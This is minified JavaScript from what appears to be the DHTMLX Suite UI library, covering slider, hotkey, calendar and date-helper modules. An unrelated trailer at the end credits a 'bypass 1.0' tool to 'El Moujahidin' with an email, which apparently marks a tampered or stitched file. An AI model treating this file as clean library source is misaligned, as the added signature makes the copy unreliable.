e=function(t,n){return(e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(t,n)};return function(t,n){function i(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}();Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),o=n(2),a=n(3),s=n(39),l=n(4),u=n(12),c=n(14);function d(e,t,n){return e<t?t:e>n?n:e}var f=function(e){function t(t,n){var i=e.call(this,t,r.extend({mode:c.Direction.horizontal,min:0,max:100,step:1,thumbLabel:!0},n))||this;i.events=new a.EventSystem(i),i._axis=i.config.mode===c.Direction.horizontal?"clientX":"clientY",i._initStartPosition(),i._initHotkeys();var s=o.create({render:function(){return i._draw()},hooks:{didMount:function(){return i._calcSliderPosition()},didRedraw:function(){return i._calcSliderPosition()}}});return i._initHandlers(),i.mount(t,s),i}return i(t,e),t.prototype.disable=function(){this._disabled=!0,this.paint()},t.prototype.enable=function(){this._disabled=!1,this.paint()},t.prototype.focus=function(e){this.getRootView().refs[e?"extraRunner":"runner"].el.focus()},t.prototype.getValue=function(){var e;if(this.config.range){var t=this._getValue(this._currentPosition),n=this._getValue(this._extraCurrentPosition);e=t<n?[t,n]:[n,t]}else e=[this._getValue(this._currentPosition)];return e},t.prototype.setValue=function(e){var t=this._getValue(this._currentPosition);if(Array.isArray(e)&&e.length>1){var n=this._getValue(this._extraCurrentPosition);this._setValue(e[0],!1),this.events.fire(c.SliderEvents.change,[e[0],t,!1]),this._setValue(e[1],!0),this.events.fire(c.SliderEvents.change,[e[1],n,!0])}else{if(e=parseFloat(e),isNaN(e))throw new Error("Wrong value type, for more info check documentation https://docs.dhtmlx.com/suite/slider__api__slider_setvalue_method.html");this._setValue(e),this.events.fire(c.SliderEvents.change,[e,t,!1])}this.paint()},t.prototype.destructor=function(){this._hotkeysDestructor(),this.unmount()},t.prototype._calcSliderPosition=function(){var e=this.getRootView();if(e){var t=e.refs.track.el.getBoundingClientRect();this._offsets={left:t.left+window.pageXOffset,top:t.top+window.pageYOffset},this._length=this.config.mode===c.Direction.horizontal?t.width:t.height}},t.prototype._initHotkeys=function(){var e=this;this._hotkeysDestructor=s.addHotkeys({arrowleft:function(t){e.config.mode!==c.Direction.vertical&&(t.preventDefault(),e._move(-e.config.step,t.target.classList.contains("dhx_slider__thumb--extra")))},arrowright:function(t){e.config.mode!==c.Direction.vertical&&(t.preventDefault(),e._move(e.config.step,t.target.classList.contains("dhx_slider__thumb--extra")))},arrowup:function(t){e.config.mode!==c.Direction.horizontal&&(t.preventDefault(),e._move(e.config.step,t.target.classList.contains("dhx_slider__thumb--extra")))},arrowdown:function(t){e.config.mode!==c.Direction.horizontal&&(t.preventDefault(),e._move(-e.config.step,t.target.classList.contains("dhx_slider__thumb--extra")))}},function(){var t=document.activeElement,n=e.getRootView().refs;if(!n)return!1;var i=n.runner;return!(!i||i.el!==t)||!(!e.config.range||!n.extraRunner||n.extraRunner.el!==t)})},t.prototype._move=function(e,t){this.config.inverse&&(e=-e);var n=this.config,i=n.max,r=n.min,o=t?this._getValue(this._extraCurrentPosition):this._getValue(this._currentPosition),a=o+e;this._setValue(o+e,t),(a>i||a<r)&&(a=o),this.events.fire(c.SliderEvents.change,[a,o,t]),this.paint()},t.prototype._initStartPosition=function(){var e=this.config,t=e.max,n=e.min,i=e.range,r=function(e,t,n){var i;return(i=void 0===e?[]:Array.isArray(e)?e:"string"==typeof e?e.split(",").map(function(e){return parseInt(e,10)}):[e])[0]=void 0===i[0]?t:d(i[0],t,n),i[1]=void 0===i[1]?n:d(i[1],t,n),i}(this.config.value,this.config.min,this.config.max),o=r[0],a=r[1];this._currentPosition=(o-n)/(t-n)*100,i&&(this._extraCurrentPosition=(t-a)/(t-n)*100),this._currentPosition=(o-n)/(t-n)*100,i&&(this._extraCurrentPosition=(a-n)/(t-n)*100),this._isInverse()&&(this._currentPosition=100-this._currentPosition,i&&(this._extraCurrentPosition=100-this._extraCurrentPosition))},t.prototype._getValue=function(e){this._isInverse()&&(e=100-e);var t=this.config,n=t.min,i=t.max,r=t.step;if(100===e)return i;if(0===e)return n;var o=e*(i-n)/100,a=o%r,s=a>=r/2?r:0;return+(Number(n)+Number(o)-a+s).toFixed(5)},t.prototype._setValue=function(e,t){void 0===t&&(t=!1);var n=this.config,i=n.max,r=n.min;if(e>i||e<r)return!1;var o=(e-r)/(i-r)*100,a=this._isInverse()?100-o:o;t?this._extraCurrentPosition=a:this._currentPosition=a},t.prototype._initHandlers=function(){var e=this,t=function(t){t.preventDefault();var n=(t[e._axis]-e._getBegining())/e._length*100;if(e._findNewDirection){if(Math.abs(e._currentPosition-n)<1)return;n>e._currentPosition?e._possibleRange=[e._currentPosition,100]:e._possibleRange=[0,e._currentPosition],e._findNewDirection=null}e._inSide(n)&&e._updatePosition(n,e._isExtraActive),e.paint()},n=function(i){e.events.fire(c.SliderEvents.mouseup,[i]),setTimeout(function(){e._isMouseMoving=!1,e.paint()},4),document.removeEventListener("mouseup",n),document.removeEventListener("mousemove",t)};this.config.help&&(this._helper=new u.Popup({css:"dhx_tooltip dhx_tooltip--forced dhx_tooltip--light"}),this._helper.attachHTML(this.config.help)),this._handlers={showHelper:function(t){t.preventDefault(),t.stopPropagation(),e._helper.show(t.target)},onmousedown:function(i){if(!e._disabled&&3!==i.which){var r;if(e.events.fire(c.SliderEvents.mousedown,[i]),e._isMouseMoving=!0,i.target.classList.contains("dhx_slider__thumb--extra")?(e._isExtraActive=!0,r=e._extraCurrentPosition):(e._isExtraActive=!1,r=e._currentPosition),e._findNewDirection=null,e.config.range){var o=e._currentPosition>e._extraCurrentPosition?[e._currentPosition,e._extraCurrentPosition]:[e._extraCurrentPosition,e._currentPosition],a=o[0],s=o[1];e._currentPosition===e._extraCurrentPosition?(e._findNewDirection=r,e._possibleRange=[0,100]):e._possibleRange=r<a?[0,a]:[s,100]}else e._possibleRange=[0,100];document.addEventListener("mousemove",t),document.addEventListener("mouseup",n)}},onlabelClick:function(){e.getRootView().refs.runner.el.focus()},onclick:function(t){if(!e._disabled&&!e._isMouseMoving&&3!==t.which){var n=(t[e._axis]-e._getBegining())/e._length*100,i=e.getRootView().refs;if(e.config.range)Math.abs(e._currentPosition-n)<Math.abs(e._extraCurrentPosition-n)?(e._updatePosition(n,!1),i.runner.el.focus()):(e._updatePosition(n,!0),i.extraRunner.el.focus());else e._updatePosition(n,!1),i.runner.el.focus();e.paint()}},onmouseover:function(){e._mouseIn=!0,e.paint()},onmouseout:function(){e._mouseIn=!1,e.paint()},onfocus:function(){e._focusIn=!0,e.paint()},onblur:function(){e._focusIn=!1,e.paint()}}},t.prototype._getBegining=function(){return this.config.mode===c.Direction.horizontal?this._offsets.left-window.pageXOffset:this._offsets.top-window.pageYOffset},t.prototype._inSide=function(e){var t=this._possibleRange;return e<t[0]?(this._updatePosition(t[0],this._isExtraActive),!1):!(e>t[1])||(this._updatePosition(t[1],this._isExtraActive),!1)},t.prototype._updatePosition=function(e,t){void 0===t&&(t=!1),e>100&&(e=100),e<0&&(e=0);var n=this.config,i=n.max,r=n.min,o=t?this._extraCurrentPosition:this._currentPosition,a=this._getValue(o),s=this._getValue(e);if(a!==s){var l=(s-r)/(i-r)*100,u=this._isInverse()?100-l:l;t?this._extraCurrentPosition=u:this._currentPosition=u,this.events.fire(c.SliderEvents.change,[s,a,t])}},t.prototype._getRunnerStyle=function(e){var t;void 0===e&&(e=!1);var n=this.config.mode===c.Direction.horizontal?"left":"top",i=e?this._extraCurrentPosition:this._currentPosition;return(t={})[n]=i+"%",t},t.prototype._isInverse=function(){return this.config.inverse&&this.config.mode===c.Direction.horizontal||!this.config.inverse&&this.config.mode===c.Direction.vertical},t.prototype._getRunnerCss=function(e){return void 0===e&&(e=!1),"dhx_slider__thumb"+(e?" dhx_slider__thumb--extra":"")+(this._isMouseMoving&&(e&&this._isExtraActive||!e&&!this._isExtraActive)?" dhx_slider__thumb--active":"")+(this._disabled?" dhx_slider__thumb--disabled":"")+(this._isNullable(e?this._extraCurrentPosition:this._currentPosition)&&!this.config.range?" dhx_slider__thumb--nullable":"")},t.prototype._draw=function(){var e=this.config.labelInline&&this.config.labelWidth?this.config.labelWidth:"";return o.el("div",{class:"dhx_slider dhx_slider--mode_"+this.config.mode+(this.config.label&&this.config.labelInline?" dhx_slider--label-inline":"")+(this.config.hiddenLabel?" dhx_slider--label_sr":"")+(this.config.tick?" dhx_slider--ticks":"")+(this.config.majorTick?" dhx_slider--major-ticks":"")+(this.config.css?" "+this.config.css:"")},[this.config.label?o.el("label.dhx_label.dhx_slider__label",{style:{minWidth:e,maxWidth:e},class:this.config.help?"dhx_label--with-help":"",onclick:this._handlers.onlabelClick},this.config.help?[o.el("span.dhx_label__holder",this.config.label),o.el("span.dhx_label-help.dxi.dxi-help-circle-outline",{tabindex:"0",role:"button",onclick:this._handlers.showHelper})]:this.config.label):null,this._drawSlider()])},t.prototype._drawSlider=function(){return o.el(".dhx_widget.dhx_slider__track-holder",{dhx_widget_id:this._uid},[o.el(".dhx_slider__track",{_ref:"track",onmouseover:this._handlers.onmouseover,onmouseout:this._handlers.onmouseout,onclick:this._handlers.onclick},[this._getDetector(),o.el("div",{_ref:"runner",class:this._getRunnerCss(),onmousedown:this._handlers.onmousedown,onmousemove:this._handlers.onmousemove,onfocus:this._handlers.onfocus,onblur:this._handlers.onblur,style:this._getRunnerStyle(),tabindex:0}),this.config.thumbLabel&&(this._mouseIn||this._focusIn||this._isMouseMoving)?this._drawThumbLabel():null,this.config.thumbLabel&&this.config.range&&(this._mouseIn||this._focusIn||this._isMouseMoving)?this._drawThumbLabel(!0):null,this.config.range?o.el("div",{_ref:"extraRunner",class:this._getRunnerCss(!0),onmousedown:this._handlers.onmousedown,onmousemove:this._handlers.onmousemove,onfocus:this._handlers.onfocus,onblur:this._handlers.onblur,style:this._getRunnerStyle(!0),tabindex:0}):null]),this.config.tick?this._drawTicks():null])},t.prototype._getDetector=function(){var e,t,n;if(this._disabled)return o.el(".dhx_slider__range");var i=this.config.mode===c.Direction.horizontal?"left":"top",r=this.config.mode===c.Direction.horizontal?"width":"height";if(this.config.range){var a=this._currentPosition>this._extraCurrentPosition?[this._currentPosition,this._extraCurrentPosition]:[this._extraCurrentPosition,this._currentPosition],s=a[0],l=a[1];return o.el(".dhx_slider__range",{style:(e={},e[i]=l+"%",e[r]=s-l+"%",e)})}return this._isInverse()?o.el(".dhx_slider__range",{style:(t={},t[i]=this._currentPosition+"%",t[r]=100-this._currentPosition+"%",t)}):o.el(".dhx_slider__range",{style:(n={},n[i]=0,n[r]=this._currentPosition+"%",n)})},t.prototype._drawThumbLabel=function(e){var t;void 0===e&&(e=!1);var n=e?this._extraCurrentPosition:this._currentPosition,i=this.config.mode===c.Direction.horizontal?"left":"top",r=this.config.mode===c.Direction.horizontal?".dhx_slider__thumb-label--horizontal":".dhx_slider__thumb-label--vertical";(e&&this._isExtraActive||!e&&!this._isExtraActive)&&(r+=".dhx_slider__thumb-label--active");var a=((t={})[i]=n+"%",t);return o.el(".dhx_slider__thumb-label"+r,{style:a},this._getValue(n))},t.prototype._getTicks=function(){for(var e=this.config,t=e.max,n=e.min,i=e.step,r=e.tick,o=e.majorTick,a=t-n,s=i*r/a,l=[],u=0,c=0;u<1;){var d=+(Number(n)+u*a).toFixed(5),f=c%o==0;l.push({position:(this._isInverse()?100*(1-u):100*u)+"%",isMultiple:f,label:f&&"function"==typeof this.config.tickTemplate?this.config.tickTemplate(d):null}),u+=s,c++}return l.push({position:(this._isInverse()?0:100)+"%",isMultiple:!0,label:"function"==typeof this.config.tickTemplate?this.config.tickTemplate(t):null}),l},t.prototype._drawTicks=function(){var e=this.config.mode===c.Direction.horizontal?"left":"top";return o.el(".dhx_slider__ticks-holder",this._getTicks().map(function(t){var n;return o.el("div",{class:"dhx_slider__tick"+(t.isMultiple?" dhx_slider__tick--major":""),style:(n={},n[e]=t.position,n)},void 0!==t.label?[o.el(".dhx_slider__tick-label",t.label)]:null)}))},t.prototype._isNullable=function(e){return this._isInverse()?100===e:0===e},t}(l.View);t.Slider=f},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i=n(1);function r(e){for(var t=e.toLowerCase().match(/\w+/g),n=0,i="",r=0;r<t.length;r++){var o=t[r];"ctrl"===o?n+=4:"shift"===o?n+=2:"alt"===o?n+=1:i=o}return n+i}var o=function(){function e(){var e=this;this._keysStorage={},document.addEventListener("keydown",function(t){var n,r=(t.ctrlKey||t.metaKey?4:0)+(t.shiftKey?2:0)+(t.altKey?1:0)+((n=t.which>=48&&t.which<=57||t.which>=65&&t.which<=90?String.fromCharCode(t.which):32!==t.which||i.isIE()?t.key:t.code)&&n.toLowerCase()),o=e._keysStorage[r];if(o)for(var a=0;a<o.length;a++)o[a].handler(t)})}return e.prototype.addHotKey=function(e,t,n){var i=r(e);this._keysStorage[i]||(this._keysStorage[i]=[]),this._keysStorage[i].push({handler:t,scope:n})},e.prototype.removeHotKey=function(e,t){var n=this._keysStorage;e&&delete n[i=r(e)];if(t)for(var i in n){for(var o=[],a=0;a<n[i].length;a++)n[i][a].scope===t&&o.push(a);if(n[i].length===o.length)delete n[i];else for(a=o.length-1;a>=0;a--)n[i].splice(o[a],1)}},e.prototype.exist=function(e){var t=r(e);return!!this._keysStorage[t]},e}();t.keyManager=new o,t.addHotkeys=function(e,n){var i=new Date,r=function(e){return function(t){n&&!1===n()||e(t)}};for(var o in e)t.keyManager.addHotKey(o,r(e[o]),i);return function(){return t.keyManager.removeHotKey(void 0,i)}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.default={hours:"Hours",minutes:"Minutes",save:"save"}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isTimeCheck=function(e){return/(^12:[0-5][0-9]?AM$)/i.test(e)}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i=n(0),r=n(16),o=function(){function e(){}return e.copy=function(e){return new Date(e)},e.fromYear=function(e){return new Date(e,0,1)},e.fromYearAndMonth=function(e,t){return new Date(e,t,1)},e.weekStart=function(e,t){var n=(e.getDay()+7-t)%7;return new Date(e.getFullYear(),e.getMonth(),e.getDate()-n)},e.monthStart=function(e){return new Date(e.getFullYear(),e.getMonth(),1)},e.yearStart=function(e){return new Date(e.getFullYear(),0,1)},e.dayStart=function(e){return new Date(e.getFullYear(),e.getMonth(),e.getDate())},e.addDay=function(e,t){return void 0===t&&(t=1),new Date(e.getFullYear(),e.getMonth(),e.getDate()+t)},e.addMonth=function(e,t){return void 0===t&&(t=1),new Date(e.getFullYear(),e.getMonth()+t)},e.addYear=function(e,t){return void 0===t&&(t=1),new Date(e.getFullYear()+t,e.getMonth())},e.withHoursAndMinutes=function(e,t,n,i){return void 0===i||!i&&12===t||i&&12!==t?new Date(e.getFullYear(),e.getMonth(),e.getDate(),t,n):i&&12===t?new Date(e.getFullYear(),e.getMonth(),e.getDate(),0,n):new Date(e.getFullYear(),e.getMonth(),e.getDate(),t+12,n)},e.setMonth=function(e,t){e.setMonth(t)},e.setYear=function(e,t){e.setFullYear(t)},e.mergeHoursAndMinutes=function(e,t){return new Date(e.getFullYear(),e.getMonth(),e.getDate(),t.getHours(),t.getMinutes())},e.isWeekEnd=function(e){return 0===e.getDay()||6===e.getDay()},e.getTwelweYears=function(e){var t=e.getFullYear(),n=t-t%12;return i.range(n,n+11)},e.getWeekNumber=function(t){6!==t.getDay()&&(t=e.addDay(t,6-t.getDay()));var n=(t.valueOf()-e.yearStart(t).valueOf())/864e5;return Math.floor((n-t.getDay()+10)/7)},e.isSameDay=function(e,t){return e.getFullYear()===t.getFullYear()&&e.getMonth()===t.getMonth()&&e.getDate()===t.getDate()},e.toDateObject=function(e,t){return"string"==typeof e?r.stringToDate(e,t):new Date(e)},e.nullTimestampDate=new Date(0),e}();t.DateHelper=o},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.linkButtonClasses=".dhx_button.dhx_button--view_link.dhx_button--icon.dhx_button--size_medium.dhx_button--color_secondary"},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),function(e){e.calendar="calendar",e.years="year",e.months="month",e.timepicker="timepicker"}(t.ViewMode||(t.ViewMode={})),function(e){e.change="change",e.beforeChange="beforechange",e.modeChange="modeChange",e.dateHover="dateHover",e.monthSelected="monthSelected",e.yearSelected="yearSelected",e.cancelClick="cancelClick"}(t.CalendarEvents||(t.CalendarEvents={}))}])}),window.dhx_legacy){if(window.dhx)for(var key in dhx)dhx_legacy[key]=dhx[key];window.dhx=dhx_legacy,delete window.dhx_legacy}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net